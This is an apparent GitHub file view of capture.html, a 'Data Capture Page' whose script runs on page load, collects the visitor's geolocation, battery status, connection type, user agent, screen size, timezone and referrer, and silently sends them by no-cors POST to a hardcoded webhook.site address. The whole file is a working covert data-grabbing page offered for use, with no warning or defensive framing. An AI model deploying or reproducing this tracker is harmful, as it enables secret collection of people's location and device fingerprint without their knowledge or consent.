-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcapture.html
More file actions
100 lines (89 loc) · 3.46 KB
/
capture.html
File metadata and controls
100 lines (89 loc) · 3.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Capture Data</title>
</head>
<body>
<h1>Data Capture Page</h1>
<script>
// Direct Webhook URL
const webhookURL = "https://webhook.site/03405ae5-bd8a-4ab8-af4b-feda3be9176d";
// Function to get the user's geolocation
function getGeolocation() {
return new Promise((resolve, reject) => {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(position => {
resolve({
latitude: position.coords.latitude,
longitude: position.coords.longitude
});
}, reject);
} else {
resolve(null);
}
});
}
// Function to get Battery Status (may not be supported on all devices)
function getBatteryStatus() {
return new Promise((resolve, reject) => {
if (navigator.getBattery) {
navigator.getBattery().then(battery => {
resolve({
level: battery.level,
charging: battery.charging
});
}).catch(reject);
} else {
resolve(null);
}
});
}
// Function to get Connection Type (e.g., Wi-Fi, Cellular)
function getConnectionType() {
return new Promise((resolve) => {
const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
resolve(connection ? connection.effectiveType : null);
});
}
// Gather additional device information
async function gatherDeviceInfo() {
const geolocation = await getGeolocation();
const batteryStatus = await getBatteryStatus();
const connectionType = await getConnectionType();
const deviceInfo = {
userAgent: navigator.userAgent,
platform: navigator.platform,
screenSize: screen.width + "x" + screen.height,
language: navigator.language,
referrer: document.referrer,
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
geolocation: geolocation,
batteryStatus: batteryStatus,
connectionType: connectionType,
onlineStatus: navigator.onLine
};
// Avoid CORS Preflight by using FormData
const formData = new FormData();
for (const key in deviceInfo) {
formData.append(key, JSON.stringify(deviceInfo[key])); // Ensure all data is stringified
}
// Send POST request using FormData
fetch(webhookURL, {
method: "POST",
body: formData,
mode: "no-cors", // Disable CORS enforcement
})
.then(response => {
console.log("Data Sent Successfully", response);
})
.catch(error => {
console.error("Error Sending Data", error);
});
}
// Call the function to gather device info
gatherDeviceInfo();
</script>
</body>
</html>